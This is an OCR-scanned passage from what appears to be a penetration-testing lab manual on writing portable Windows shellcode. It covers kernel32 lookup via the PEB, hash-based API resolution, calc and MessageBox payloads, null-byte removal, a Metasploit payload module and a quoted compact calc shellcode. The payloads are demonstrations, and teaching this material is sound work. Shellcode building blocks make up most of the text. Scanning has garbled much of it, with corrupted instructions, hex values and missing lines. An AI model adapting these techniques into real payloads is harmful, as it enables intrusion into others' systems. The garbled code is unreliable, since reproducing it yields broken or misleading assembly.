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5 5

INEO

yms=mmsxPynction @ Find function base addresszossszsmmm=s
find function:
pushad ;save all registers
mov ebp, [esp + 0Ox24} ;put base address of module that is being
;loaded in ebp
mov eax, f{ebp + 0x3c¢] ;skip over MSDOS header
mov edx, [ebp + eax + O0x78) ;go to export table and put relative address
;in edx
add edx, ebp ;add base address to it.
;edx = absclute address of export table
nov ecx, [edx + 0Ox18] ;set up counter ECX
; (how many exported iltems are in array ?)
mov ebx, fedx + 0x201 ;put names table relative offset in ebx
add ebx, ebp ;add base address to it.

;ebx = absolute address of names table

find function_loop:

Jecxz find function finished ;1f ecx=0, then last symbol has been checked:
; {should never happen)
;unless function could not be found

dec ecx jecx=ecx-1

mov esi, febx + ecx * 4] ;get relative offset of the name associated
;with the current symbol
;and store offset in esi

add esi, ebp ;add base address.
;esi = absoclute address of current symbol

compute hash:

xor edi, edi ;zero out edi
XOr eax, eax ;zero oul eax
cld ;clear direction flag.

;will make sure that it increments instead of
;decrements when using lods*

compute hash _again:

lodsh ;load bytes at esl (current symbol name}
;into al, + increment esi

test al, al ;bitwise test
;see if end of string has been reached

jz compute hash finished ;1f zerc flag is set = end cf string reachead

ror edi, 0Oxd ;1f zero flag is not set, rotate current
;value of hash 13 bits to the right

add edi, eax ;add current character of symbol name
;to hash accumulator

jmp compute hash again ;continue loop

compute hash finished:

find function compare:

cmp edi, {esp + 0Ox28] ;see if computed hash matches requested hash (at
esp+0x28)
;edi = current computed hash
;esi = current function name (string)
inz find_ function_loop ;no match, go to next symbol
mov ebx, {edx + 0x24) ;1f match : extract ordinals table
;relative cffset and put in ebx
add ebx, ebp ;add base address.

;ebx = absolute address of ordinals address table
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mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes)

mov ebx, [edx + O0Oxlc] ;get address table relative and put in ebx
add ebx, ebp ;add base address.
) ;ebx = absolute address of address table
mov easx, [ebx + & * ecx] ;get relative function offset from its ordinal and put
in eax
add eax, ebp ;add base address. )
;eax = absolute address of function address
mov [esp + 0Oxlc], eax ;overwrite stack copy of eax so popad

rwill return function address in eax
find function_finished:
popad ;retrieve original registers.
;eax will contain function address

ret
j=s======Function : loop to lookup functicons for a given dll (process all
hashes) ss===ssmmss==
find funcs for dil:
Todsd ;lcad current hash inte eax (pointed to by esi)
push eax :push hash to stack
push edx ;push base address of dll to stack
call find function
mov [edi]l, eax ;write function pointer into address at ed:
add esp, 0x08
add edi, 0x04 ;increase edi to store next pointer
cmp esi, ecx ;did we process all hashes yet ?

ine find funcs_for dll ;get next hash and lockup function pointer
find funcs for dll finished:
ret

pe======fynction : Get pointer to MessageBox Title===s===ssmms
GetTitle: ; Define label for location of winexec argument string
call TitleReturn ; call returrn label so the return address
; {location of string) is pushed ontc stack
db "InfoSec Institute™ ; Write the raw bytes into the shellcode
db 0x00 ; Terminate our string with a null character.

;=======Function : Get pointer to MessageBox Texi=s==s==s=====

GetTent: ; Define label for location of msgbox argument string
call TextReturn ; call return label so the return address
; (location of string) is pushed onto stack
db "Are you sure you want to launch calc ?" ; Write the raw bytes into the shellccde
db 0x00 ; Terminate our string with a null character.
;=======Fynction : Get pointer tc winexec argument calcs===s========
GetAryg: ; Define label for location of winexec argument string
call ArgReturn ; call return label so the return address
; {location of string} is pushed ontoe stack
db "calc" ; Write the raw bytes into the shellicode
db 0x00 ; Terminate our string with a null character.

J==mw=s=Function @0 Get pointer to user32.dll textssssss=s=====
GetUser32: ; Define label for location of user32.dll string
call User32Return ; call return label so the return address
; {location of string) is pushed onto stack
db "user3Z.dil™ ; Write the raw bytes into the shellcode
db 0x00 ; Terminate our string with & null character.
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jmm=mms=Function

GetHashes:
call GetHashesReturn .
;LoadLibraryA hash : OxX8E4EOEEC
db Ox8FE
db 0x4E
db OxO0E
dbh 0xEC

;ExitProcess hash = 0x7ED8EZ273
dbh 0x7E
db 0xD8
dib 0xE2
db 0x73

iWinExec hash = (0x98FE8AQE
db 0x98
db OxFE
db O0x8A
db 0xCRE

GeiMsgBoxHash:
call GetMsgBoxHashReturn
;MessageBoxA hash = OxABA24DBC
db 0xA8
db 0xAa2
db 0x4D
db 0xBC

start main:

sub esp, 0x0c ;allcocate space on stack to store 3 things

;in this order : ptr to LoadLibraryd, ExitProc, WinkExec
mov ebp,esp ;set ebp as frame ptr for relative ociffset

;80 we will be able to do this:

;call ebptd = Execute LoadLibraryh

Execute ExitProcess
Execute WinExec

;call ebp+8
;call ebp+c

call find kernel32

mov edx,eax ;save base address of kernel3Z in edx
;locate functions inside kernel32 first

Jrnp GetHashes ;get address of first (LoadLibrary) hash
GetHashesReturn:

Fop esi ;get pointer to hash into esi

lea edi, [ebp+0x4]} ;we will store the function addresses at edi

; {edi will be increased with 0x04 for each hash)
; (see resolve symbols for dll)
mov ecx,esi
add ecx,0x0c ; store address of last hash into ecx
call find funcs for dll ; get function pointers for the 2
; kernel32 function hashes
; and put them at ebp+4 and ebp+8
;locate function in user32.dll
;loadlibrary first - so first put pointer to string user3Z.dll to stack
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jmp GetUser3z
User32Return:
;pointer to "user3Z.dll" is now on top of stack, so just call LoadLibrary
call {ebp+0x4]
;Lhe base address of user3Z.dll is now in eax (if loaded correctly)
jput it in edx so it can be used in find function
mov edx,eax
;find the MessageBoxA function
;first get pointer to function hash
jmp GetMsgBoxHash
GetMsgBoxHashReturn
;put pointer in esi and prepare to lock up function

pop esi

lodsd ;load current hash into eax (pointed to by esi)
push eax ;push hash to stack

push edx ;push base address of dll to stack

call find function
;function address should be in sax now
;we'll keep it there

jmp GetTitle ;jump to the location
;of the MsgBox Title string
TitleReturn: ;befine a label to call sc that
;string address is pushed on stack
pop ebx ;ebx now points to Title string
dmp GetText ;jump to the location
;of the MsgBox Text string
TextReturn: ;Define a label to call so that
;string address is pushed on stack
pop ecx ;ecx now points to Text string

;now push parameters to the stack

xor edx,edx ;Zerc cut edx

push 1 ;put 1 on stack (buttontype 1 = ok+cancel)
push ebx ;put pointer to Title on stack

push ecy ;put pointer to Text on stack

push edx ;put 0 on stack (hCwner)

call eax ;call MessageBoxA (0, Text,Title, ()

;return value of MessageBox i1s in eax

;do we need to launch calc ?  (so if esaxi=1)
xor ebx,ebx
chp eax,ebx ;if OK button was pressed, return is 1
je done ;50 1f return was zerc, then goto done

;1f we need to launch calc
Jmp GetArg
ArgReturn:
;execute calc
pop ebx
XOr eax,eax
push eax
push ebx
call [ebp+0xc]

;ExitFunc

done;
X0Or eax,eax jzero outbt eax
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;put 0 on stack
;ExitProcess (0)

push eax
call [ebp+8]

This code results in more than 340 bytes of opcode, and includes 45 null bytes ! So as a little exercise, you can
try to make this shetlcode null byte free (without encoding the entire payload of course) :-)

We’ll give you a little headstart: example of null byte free “calc” shellcode (calcnonull.asm) that should work
on windows 7 too :

; Sample shellcode that will wop calce
; version without null bytes

{Section .text]

{BITS 32}

global start

_start:
;getpPC
FLDPT
FSTENV [ESP-0xC]
por ebp ;put base address in ebp
;find kernel32
; Technique PEB (Win7 compatible)
push esi ;save esi
ROY eax, eax ; clear eax
Xxor ebx,ebx
mov bl,0x30
mov eax, [fs:ebx ] ; get a pointer to the PEB
mov eax, | eax + 0x0C ] ; get PEB~>Ldr
‘mov =ax, [ eax + 0x14 ] ; get PEB->Ldr.InMemoryOrderModulelist.Flink (lst entry)
pusln eax
s esi
eax, [ esi ] ; get the iexit entry (2nd entry)
hoeax
pop esi
mov eax, [ esi } ; get the next entry (3rd entry)
mov eax, [ eax + 0x10 } ; get the 3rd entries base address {(kernel3Z.dll)
pop esl  Jrecover esi

mov edx,eax
; get pointer to WinExec hash

;save base address of kernel3? in edx

hash to stack

oy y o
PR SRR RS

s’ Ox0EBAFE9S
noedx ;push pointer to kernel32
;base address to stack

;lookup function
sinstead of
;we will use ebp
mov ebx,ebp

add ebx,0x11111179

WinExec

+ offzet and keep address in ebx

;aveid null bytes

suin eb®,0x111311111%

call ebx

;execute calc
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pusn 0x58202020

0x6578652E
ciien Ox636C0163
mov esli,esp

XOLr @Cx,ecx

mov [esi+0x8],cl
ingc ecx

call eax jeax =

;find ExitProcess ()

" oecx ;param 1
o oesi ;param command to run
WinkExec

;X + spaces.
;X will be overwritten with null

;overwrite X with null

(window state}

;first get base address of kernel32 back

;from stack

por eax

woeax

pop eax

pop edx  shere it is
push Ox73EZ2DRTE
push edx

call ebx ;get
jeax now contain
XOYr eCx,ecx

AL

thash of ExitProcess

ibase address of kernel32
unction - ebx still points to f£ind functicn
5 ExitProce

function address

push ecx ;rush zero {argument} on stack

call eax ;exitpreocess (0}

; =======Function Find function
find function:

pushad

mov ebp, [esp + (0x24]

mov eax, febp + COx3cl

mov edx, febp + eax + (0x78])
add edx, ebp

mov ecx, fedx + 0x18]

mov ebx, fedx + 0x20}

add ebx, ebp

find function loop:

jecxz find function_finished
dec ecx
mov esi, [ebx + ecx * 4]

add esi, ebp

compute hash:
xor edi, edi
XOr eax, eax
cld

;save all registers

;put base address of module that is being
;loaded in ebp

;skip over MSDOS header

;go to export table and put relative address
;in edx

;add base address to it.

;edx = absolute address of export table
;set up counter ECX

; (how many exported items are in array ?)
;put names table relative ofizat in ebx
;add base address to it.

;ebx = absolute address of names table

;if ecx=0, then lazt symbol has been checked.
; {(should never happen)

;unless function could not be found
jecx=ecx-1

;get relative offaet of the name associated
;with the current symbol

jand store i
;add base address

;esi = absolute address of current symbol

;zaero out edi

;zero out eax

;clear direction flag.

;will make sure that it increments instead of
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;decrements when using lods~*

lodshb ;load bytes at esi {current symbol name)
;into al, + increment esi
test al, al ;bitwise test
;see 11 end of string has been reached
iz compute hash finished ;.7 zero flag is set = end of string reached
ror edi, Cxd ;27 zero flag is not set, rotate current
;value of hash 13 bits to the right
add edi, eax ;add current character of symbol name
;to hash accumulator
jmp compute hash again Jocntinus loop
compute hash finished:
find function_ compare:
cnp edi, [esp + O0x28] ;see 1f computed hash matches requested hash
;the one we pushed, at esp+ix28
;edi = current computed hash
;yesi = current function name (string}
jnz find function_loop ;e match, go to naxt symbol
mov abx, {edx + 0=x24)] ;L0 matceh @ oextract ordinals table
;relative offset and put in ebx
add ebx, ebp radd base address.
jebx = absclute address of
;ordinals address table
nmov ¢x, [ebx + 2 * ecx] ;get current symbol crdinal number (2 bytes)
mov ebx, [edx + Oxic] ;get address table relative and put in &bx
add ebx, ebp ;add base address.
;ebx = abscolute address of address table
mov eax, febx + 4 * ecx] ;get relative function c¢ifsel from its ordinal
;and put in eaw
add eax, ebp ;add base address.
;eax = absclute address of function address
mov {esp + Oxlc}, eax ;overwrite stack copy of eax so popad
;will verurn function address in eax

find functicn _finished:
popad ;retrieve original registers.
;eax will contain function address
ret
C:\shellcode>" "
calcnonull.asm -¢ calcnonull . bkin

C:\shellcode>perl pveReadbin.pl calcnonull.bin
Reading calcnonull.bin
Read 185 bytes
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’

Number of null bytes : 0

185 bytes (which is not bad for a n00b like me :-} ) (But we’ll [ook at how this code can be made smaller at the
same time at the end of this lab)

Compare this with Metasploit :

./msfpayload windows/exac CMD=calc EXTIFUNC=process F
- # windows/axec - 196 bytes

# http:

# EXITFUNC=process, CMD=calc

my S$buf =

T

=> [96 bytes, and still contains null bytes.

Adding vour shellcode as pavload into Metasploit

Adding simple payload, that fail under the “singles” category, is not that difficult. The only thing you need to
keep in mind 1s that your payload should allow for parameters to be inserted. So if you want to add the
MessageBox shellcode into metasploit, you’ll have to find out where the title and text strings are located in the
shellcode, and allow for users to insert their own stuff.

We have slightly modified the MessageBox code so the strings would be at the end of the code. The asm code
looks like this :
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; Sample shellcode that will zon a MessageBox
; with custom title and text

[Section .text]
[BITS 32)

global start

; Technigque : PEB InMemoryOrderModulelList
s esi

HOY eax, eax ; clear eax

xor ebx, ebx

mov bl,0x30

mov eax, [fs:ebx ] ; get a pointer to the PEB

mov eax, [ eax + 0x0C } ; get PEB->Ldr

mov eax, [ eax + 0x14 ] ; get PEB->Ldr.InMemoryOrderModulelist.Flink (lst entry)
push eax

Bow esi

mov eax, [ esi ] ; get the naxi entry (Znd entry)

wush eax

oD esi

mov eax, [ esi ] ; get the nsxt entry (3rd entry)

mov eax, | eax + 0x10 ] ; get the 3rd entries base address (kernel32.dll)
o esi

imp start main

j=======Function : Find function base address============
find function:

pushad ;save all registers
mov ebp, [esp + (x24) ;put base address of module that is being
;loaded in ebp
mov eax, febp + Ox3c} ;skip over MSDOS header
mov edx, [ebp + eax + O0Ox78] ;go to export table and put relative address
;in edx
add edx, ebp ;add base address to it.
;edx = absolute address of export table
mov ecx, (edx + 0Ox18] ;set up counter ECX
; {how many exported iltems are in array ?)
mov ebx, fedx + 0x20]} ;put names table relative oiffgsl in ebx
add ebx, ebp ;add base address to 1it.
jebx = absolute address of names tabkle

find functicn loop:

jecxz find function finished 77t ecx=0, then izst symbol has been checked.
; {should never happen)
;unless function could not be found

dec ecx jecx=ecx-1

mov esi, [ebx + ecx * 4] ;get relative oiis=1 of the name assoclated
;with the current symbol
;and store o fsetn in esi

add esi, ebp ;add base address.
;esi = absolute address of current symbol

compute hash:
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xor edi, edi
XOr eax, eax
cld

compute hash_again:
lodsb

test al, al

jz compute hash finished

ror edi, 0Oxd b

- add edi, eax
jmp compute hash_again
.compute_hagh_finished:
. find_function_compare:

cmp edi, {esp ¢+ 0x28}
Cesptix28)

jnz find_ function loop

mov ebXx, [edx + 0x24)
add ebx, ebp

mov Cx, [ebx + 2 * ecx}
mov ebx, {edx + 0Oxlc}

add ebx, ebp

mov eax, [ebx + 4 * ecx]
in eax

add eax, ebp

mov [esp + (Oxicl, eax

find_function_finished:
popad

ret

hashes) ssmme=smmmm
find funcs_for dll:

sl edx

call find_ function

mov

add esp,

acdd edi, 0x04

cmp esi, ecx

jne find_funcs_for dil
find funcs_for_ dll_finished:

0x08

;load current hash intc eax
JEus

;pusn base address of dll to stack

[edi], eax JuviLE

;zero out edi

yzero oubt eax
;clear direction flag.
;will make sure that it incremsnts instead of
;decrements Ehen using lods*
L.

;load bytes at esi (current symbol name)
;into al, + increment esi
e ;bitwiss, test
;see if end of string has been reached
;if zero flag isgset = end of string reached
¢ zero flag is not set, rotate current
value of hash 13 bits to the right
;add current character of symbol name
;Lo hash accumulator
;oontinue loop

R

;3ee 1i computed hash matches requested hash ({at
;edi = current computed hash

;esi = current function name (string)

;no match, go to next symbol

;1T match extract ordinals table

;relative offssat and put in ebx

;add base address.

;ebx = absclute address of ordinals address table

;get current symbol ordinal number (2 bytes)

;get address table relative and put in ebx

;add base address.

;ebx = absclute address of address table

;get relative function oiffset from its ordinal and put

;add base address.

;eax = absolute address of function address
;joverwrite stack copy of eax so popad

;will return function address in eax

;retrieve original registers.
;eax will contain function address

loop to lockup functions for a given dll (process all

{pointed to by esi)
% hash to stack

function pointer into address at edi

;increase edli to store naexi pointer
;did we process all hashes vet 7
;get naxt hash and lookup function peinter
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ret

;=======Function : Get polinter to user32.dl] textesss=sm===ss==

GetUser32: ; Define lakel for location of user32.dll string
call User3ZReturn ; call x: ri: label so the return address
; {location of string) is pushed onto stack
dbh " " ; Write the raw bytes into the shellcode
db 0x00 ; Terminate our string with a null character.

j=======Pynction : Get pointers to function hasheg============

GetHashes:
call GetHashesReturn
;LoadLibrarya hash : Ux8E4EOEEC
db Ox8E
db 0x4E
dh Ox0E
dbh {OxEC

JExitProcess hash = 0x7EDBE273
db Ox7E
db 0xD8
db OxE2
db 0x73

GetMsgBoxHash:
call GetMsgBoxHashReturn
;MessageBoxA hash = 0xA8AZ4DBC
db 0OxA8
db OxAZ
db Cx4D
db 0xBC

start main:

sul esp, 0x08 ;allocate space on stack to store 2 things
;in this order : ptr to LoadlibraryhA, ExitProc
mov ebp,esp ;set ebp as frame ptr for relative olfser
;80 we will be able to <do this:
;call ebp+4 = Execute LeadLibraryh
;call ebp+8 = Execute ExitProcess
mov edx, eax ;save base address of kernel32 in edx
;locate functions inside kernel3?2 first
jmp GetHashes ;get address of first hash
GetHashesReturn:
won esi ;get pointer to hash into esi
lea edi, [ebpt+t0x4] ;we will store the function addresses at edi

; (edi will be increased with 0x04 for =aob hash)
; (see resolve symbols for dli)

MOV eCcX,e&si

add ecx,0x08 ; store address of las: hash into ecx

call find funcs for dll ; get function pointers for the 2

; kernel32 function hashes
; and put them at ebp+4 and ebp+8
;locate function in user32.d1ll

Expert Penctration Testing Lab Manual § :
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;loadlibrary first - so first put pointer to string user32.dll to stack
jmp GetUser3Z

User3ZReturn:

;pointer to " " is now on top of stack, so just call LoadLibrary
call [ebp+0x4)

;the base address of user32.dll is now in eax (i loaded correctly)

;put it in edx so it can be used in find function
mov edx, eax

;find the MessageBoxA function

;first get pointer to function hash
imp GetMsgBoxHash

GetMsgBoxHashReturn

;put pointer in esi and prepare to look up function

oop esi

lodsd ;load current hash into eax (peinted to by esi)
push eax ;push hash to stack

push edx ;push base address of dll to stack

o ocall find_function _
;function address should be in eax now
;we'll keep it there

imp GetTitle ;jump to the location
;0f the MsgRox Title string
TitleReturn: ;Define a label to call so that
;string address is pushed on stack
nop ebx ;ebx now points to Title string
jmp GetText ;jump to the location
;of the MsgBox Text string
TextReturn: ;Define a label to call so that
;string address is pushed on stack
Cop ecx ;ecx now polnts to Text string

;now push parameters to the stack
Xor edx,edx ;Zero cut edx
s edx ;put 0 on stack

ebx ;put pointer to Title on stack
ecx ;put pointer to Text on stack
edx ;put 0 on stack
call eax ;call MessageBoxA (0, Text,Title, ()
;ExXitFunc

XOr eax,ean

;Zerc out eax
push eax ;put 0 on stack
call [ebpi8) ;ExitProcess (0)

j=======fyunction : Getf pointer to MessageBox Title====s========

GetTitle: ; Define label for location of MessageBox title string
call TitleReturn ; call return label so the veiturn address
; {location of string) is pushed onto stack
db " " ; Write the raw bytes into the shellcode
db 0x0C ; Terminate <ur string with a null character.
;=======Functiocn : Get pointer to MessageBox Teximrsmwm=s====
GetText: ; Define label for location of msgbox argument string
call TextReturn ; call return label so the rerurn address

; (location of string) is pushed onto stack
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dbh " " ; Write the raw bytes into the

shellcode
db 0x00 ; Terminate ouyr string with a null character.

Note that we did not really took the time to make it null byte free, because there are plenty of encoders in
Metasploit that will do this for you.

While this code looks good, there is a problem with it. Before we can make it work in Metasploit, in a generic
way (so allowing people to provide their own custom title and text), we need to make an umportant change.

Think about it... If the Title text would be a different size than “InfoSec Institute”, then the offset to the
GetText: label would be different, and the exploit may not produce the wanted results. After all, the offset to
jumping to the GetText label was generated when you compiled the code to nasm. So if the user provided string
has a different size, the offset would not change accordingly, and we would run into p;oblems when trying to
get a pointer to the MessageBox Text.

In order to fix that, we will have to dynamically calculate the offset to the GetText label, in the metasploit
script, based on the length of the Title string.

Let’s start by converting the existing asm to bytecode first.

C:\shellcode>perl pveReadbin.pl infosecmsgbox.bin
{" Reading infosecmsgbox.bin
- Read 310 bytes
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" \xed\x15\x00\x00\x00"
" \xe9\x1c\x00\x00\x00 "

At the end of the code, we see our 2 strings. A few lines up, we see 2 calls :

\xex 15% 000000 = jmp to GetTitle (Jump 0x1A bytes). This one works fine and will continue to work
fine. We don’t have to change it, because it will always be at the same offset (all strings are below the GetTitle
fabel). The jump back (call TitleReturn) is fine too.

xe9x 1000000 = jmp to GetText (jump 0x21 bytes). This offset depends on the size of the title string.
Not only the offset to GetText is variable, but the call back to TextReturn (well, the offset used) is variable too.
(Note : in order to reduce complexity, we’ll build in some checks to make sure title is not longer than 254
characters... You’ll understand why in just a minute)

In a debugger, the relevant code looks like this :

get porter .zo' SINGS f

._push parameters and launch [
MessageBoxAf)

..push parameters and launch
ExitProcess()

) e call TitteReturn fgo back to

: - Title {string + nuli byte}

TE PTR E5:IEON

“call TextReturn (yo back 1o
GxDOS020FE}

- Taxt {steing + null byte)

R FSt LEQH
b"TE P'IR o5

r— DAL EYTE PT
ALD BOTE bif O

We can allow the user to insert their own strings splitting the payload into 3 pieces :

« the first piece (all bytecode before the first string (Title))
« the code after the first string (so the null terminator + the rest of the bytecode before the second string)
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ifdw :
INE
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T 22 2
L

¢

A et

« the null string after the Second Stung (Text)

Next, we also need to take care of the jump GetText and jump TextReturn. The only thing that needs to be
changed are the offsets for these instructions, because the offset depends on the size of the Title string. The
offsets can be calculated like this :

« offset needed for jump GetText = 15 bytes (all instructions between the jump GetText and the GetTitle
label) + 5 bytes (call TitleReturn) + length of Title + 1 (null byte after string)

+ offset needed for call TextReturn (jump backwards) = 15 bytes (same reason as above) + 5 bytes (same
reason as above) + length of Title + 1 (null byte) — 1 (pop instruction) + 5 (call instruction itself). In
order to keep things simple, we’ll limit the size of the title to 255, so you can simply subtract this value
from 255, and the offset would be max. | byte long (+"\x f\xff\x ).

So, the final payload structure will look like this :

« all bytecode until (and including) the first jump GetText instruction. (including “\xe9”)

« bytecode that represents calculated offset to jump to GetText

« bytecode to compiete the jump forward (\x00\x00\x00) + pop instruction (when call back from GetText
returns)

« rest of instructions including the jump back before the first string

« first string

« null byte

» first byte to do jump back (call TextReturn) (“xe9”)

« Dbytecode that represents calculated offset for jump backwards

« rest of bytecode to complete the jump back (“\xfix ffx 1)

s second string

« null byte

- Basically, just look at the code in a debugger, split the code into fixed and variable components, simply count
bytes and do some basic math.

. Then, the only thing you need to do is calculate the offsets and recombine all the pieges at runtime.

So basically, converting this shellcode into Metasploit is a simple as creating a .rb script under
framework3/modules/payloads/singles/windows

require 'msf/core’

moddnle Metaspleoit3

include Msf::Payload::Windows

include Msf::Pavload::Single

daf initialize (info = {})

weper (update info (info,
'Name' => 'Windows Messagebox with custom title a1l text',
'VYersion® =>» "SRevision: 1 §',
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'Description’ => 'Spawns MessageBox with a customizable title & text',

'Author’ => [ 'InfoSec Institute’],
'Licensge! => B3SD LICENSE,
‘Platform'’ => ‘win',
*Arch'’ => ARCH_X86,
"Privileged' => LaLga,
'Payload’ =2
{
'Offsets' => { },
FPayload' => " "+
" * l|+
n n +
n II+
1" ’ Il+
r ||+
L1 I|+
L1s ||+
" ||+
L3 |I+
n " 4-
n |I+
n ||+
m ' "
1 II+
" " ',
1 " 4
n |l+
" |l+
" ll+
" Il+
1 ll+
" ll+
1t |l+
L Il+
" ll_‘_
L1 ll+
L3 ll+
I ll+
" ll+
}
3

deregister options ('EXITFUNC')

register options|{

{
OptString.new ('"TITLE', [ truas,
3] 1" ] ) R
OptString.new ('TEXT', [ trus,
it " ] )
1, malf.oiass)
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S n-\‘-\%
INEL

dwl generate
strTitle = datastore['TITLE']
15 {strTitle)
iTitle=strTitle.length
P {iTitle < 255)
offset2Title = {15 + 5 + iTitle 4+ 1}.chr
offsetBack = {255 - (15 + 5 + iTitle + 5)).chr
payload_data = module info{'Payload']{'Payload’')
payload data += offset2Title
payload _data += "
payload data += "
payload_data += strTitle
payload data 4= " "
payload data += offsetRBack
payload data += " "
payload data += datastore{'TEXT'}+ ™ "
urn payload data

S
Lo R

eyl
Tryit:

xxxx@btd:/pentest/exploits/framework3
Nanme: Windows Messagebox with custom title and text
Version: 1
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 0
Rank: Normal

Provided by:

Basic options:
Name Current Setting Required Description

TEXT yes Messagebox Text
TITLE yes Messagebox Title (max 255 chars)
Description:

Spawns MessageBox with a customizable title & text
./msfpayload windows/messagebox
TITLE=" "
TEXT=" v C

unsigned char buf[] =
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Writing small shellcode

We started this lab with a 69 byte MessageBox shellcode that would only work on XPSP3 and inside an
application where kernel32 and user32 are already loaded, and we ended up with a 350 byte portable
MessageBox shellcode (non-optimized as it still contams some null bytes), that works on all Windows OS
versions. Avoiding these null bytes will probably make 1t larger than 1t already is.
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[t is clear that the impact of makmg shellcode pmtabie 1s substantial, so you — the shellcoder — will need to find
a good balance and stay focussed on the target : do you need one-time shellcode or generic code 7 does it really
need to be portable or do you just want to prove a point ? These are important questions as they will havc a
direct impact on the size of your shellcode.

In most cases, in order to end up with smaller shellcode, you will need to be creative with registers, loops, try to
avoid null bytes in your code (instead of having to use a payload encoder), and stop thinking like a programmer
but think goal oriented... what do you need to get in a register or on the stack and what is the best way to get it
there ?

It truly is an art.
Some things to keep in mind :

» Make a decision between either avoiding null bytes in the code, or using a payload encoder. Depending
on what you want to do, one of the two will produce the shortest code. (If you are faced with character
set limitations, it may be better to just write the shellcode as short as you can, including null bytes, and
then use an encoder to get rid of both the nul! bytes and “bad chars”.

= Avoid jump to labels in the code because these instructions may introduce more null bytes. It may be
better to jump using offsets.

» It doesn’t matter if your code looks pretty or not. If it works and is portable, then that’s all you need

« If you are writing shellcode for a specific application, you can already verify the loaded modules.
Perhaps you don’t need to perform certain LoadLibrary operations if you know for a fact that the
appiication will make sure the modules are already loaded. This may make the shellcode less generic,
but it won’t make if less effective for this particular exploit.

~ There are some general ideas concerning writing small shellcode, outlining some general ideas for writing

~ 1 small(er) shellcode. In a nutshell ;

o Use small instructions (instructions that will produce shoit bytecode)

+ Use instructions with multiple effects (use instiuctions that will do multiple things at once, thus avoiding
the need for more instructions)

» Bend API rules (if for example null is required as a parameter, then you could flush parts of the stack
with zero’s first, and just push the non-null parameters (so they would be terminated by the nulis already
on the stack)

+ Don’t think like a programmer. You may not have to initialize everything — you may be able to use
current values in registers or on the stack to build upon

» Make effective use of registers. While you can use all registers to store information, some registers have
specific behaviour. Furthermore, some registers are API proof (so won’t be changed after a call to an
APl s executed), so you can use the value in those registers even after the API was called

© Let’s use our null-byte-free calc shellcode (185 bytes) from earlier in this document, compare it with calc
_ shellcode written by skylined which ts also null-byte-free but only 100 bytes long... and use this example to
- demonstrate some techniques to produce smaller code without giving up portability.

His code iooks like this :
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; Copyright (c) 2002-2010, Berend-Jan " " Wever <berendjanweverlgmail.com>
; Project homepage: htip:
; All rights reserved. See COPYRIGHET.txt for details.

BITS 32
; Works in any application for Windecws 5.0-7.0 all service packs.

; (See htip:
; This version uses 16-bit hashes.

Fdefine url "htip:
&strlen sizeof url url

ginclude 'w3Z-exaec-calcec-shellcode-hash-list.asm'

zdefine B2W{bl,b2) {({(b2) << 8) + (bl})

$define WZ2DW{wl,w2) ({({w2) << 16) + (wl))

3define B2DW(bl,b2,b3,b4) (({bd) << 24) + ({(b3) << 16) + ({h2) << 8) + (bl})

%define buffer size 0x7C

%ifdef STACK ALIGN

AND 5P, OxFFrc
Sendif
find hash: ; Find ntdll's InInitOrder list of modules:
XOR ESI, EST ; ESI = 0
POSH ESI ; Stack = 0
MOV ESI, [FS:ES8I + 0x30} ; ESI = &(PEB) ([FS:0x30))
MOV EST, [ESI + 0x0C] ; ESI-= PEB->Ldr
MOV ESI, [(ESI + 0x1C] ; ES8I = PEB->Ldr.InInitOrder

; (first module)
next module: ; Get the baseaddress of the current module and

; find the nesxit module:
MOV EBP, {ESI + 0x08)] ; EBP = InlInitOrder(X].base address
MOV ESI, [ESI] ; BESI = InInitOrder[X].flink ==
; InInitOrder [X+1]
get proc_address loop: ; Find the PE header and
B ; export and names tables of the module:
MOV EBX, [EBP + 0x3C] ; EBX = &(PE header)
MOV EBX, [EBP + EBX + 0x78) ; EBX = ¢ffset (export table)
ADD EBX, ERBP ; EBX = &{export table)
MOV ECX, [EBX + 0x18] ; ECX = number of name pointers
JCXZ next module ; No name pointers? Next module.
next function loop: ; Get the next function name for hashing:
MOV EDI, [EBX + 0x20] ; EDI = offset (names table)
ADD EDI, EBP ; EDI = &(names table)
MOV EDI, [EDI + ECX * 4 - 4] ; EDI = offszsev (function name)
ADD EDI, EBRPF ; EDI = & (function name)
X0OR EAX, EAX ; EAX = 0O
cho ; EDX = ©
hash loop: ; Hash the function name and compare with requested hash
XOR DL, {EDT}
ROR DX, BYTE hash_ror value
SCASB
JNE hash loop
CMP DX, hash kernel32Z WinExec
LOOPNE next functicn loop ; Not the right hash and functions left
' ; in module? Next function
JNE next module ; Not the right hash and no functions

; left in module? NWext module
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; Found the right hash: get the address of the functlon

MOV EDX, [EBX + 0x24] ; ESI = offsai ordinals table
ADD EDX, EBP ; ESI = &oridinals table
MOVZX EDX, WORD [EDX + 2 * ECX] ; ESI = ordinal number of function
MOV EDI, [EBX + 0x1C} ; EDI = ofizer address table
ADD EDI, ERP ; EDI = &address table
ADD EBP, [EDI + 4 * EDX] ; EBP = & (function)
; create the calc exe string
Py B2DW (' e, k', 'e') ; Stack = " v, 0
BZDW (' ‘, tat, '1', ‘o' ; Stack =" ", 0

Fooviu ESP ; Stack = &(u rr)’ n u’ 0
KCHG EAX, [ESP] ; Stack = 0, " ", 0
B EAX : ; Stack = &(" "y, 0, " "0
CALL EBP ; WinExec (& (" "y, 0
INT3 ; Crash

or, in the debugger :

00402000 31F6 XOR ESI,ESI

00402002 56 PUSH ESI

00402003 6d:8B7¢ 30 MOV ESI, PWORD PTR FS:[ESI+30]

00402007 876 0C MOV ESI, DWORD PTR DS: [ESI+C]

0040200A 8R7¢ 1C MOV ESI, DWORD PTR DS: [ESI+1C)

00402000 8B6E 08 MOV ERP, DWORD PTR DS: [ESI+8]

00402010 8B36 MOV ESI,DWORD PTR DS: [ESI)

00402012 8BS5D 3C MOV EBX, DWORD PTR SS: [EBP+3C]

00402015 8B5C1D 78 MOV EBRX, DWORD PTR S$5: [EBP+EBX+78]

00402019 01lEB ADD EBX, EBP

00402018 8R4R 18 MOV ECX, DWORD PTR DS: [EBX+18]

0040201F 67:E3 EC JCXZ SHORT testshel.0040200D

Q0402021 8B7B 20 MOV EDI, DWORD PTR DS: [EBX+20]

00402024 C1lEF ADD EDI,ERP

004020206 8BTCEF FC MOV EDI, DWORD PTR DS: [EDI+ECX*4-4]

00402024 OLEF ADD EDI,EBP

0040202C 31cCo XOR EAX, EAX

00402021 99 Ccho

0040202F 3217 XOR DL,BYTE PTR DS: [EDI]

00402031 66:C1CA 01 ROR DX, 1

00402035 AFE SCAS BYTE PTR ES:[EDI]

00402036 ~75 F7 JNZ SHORT testshel . 0040202F

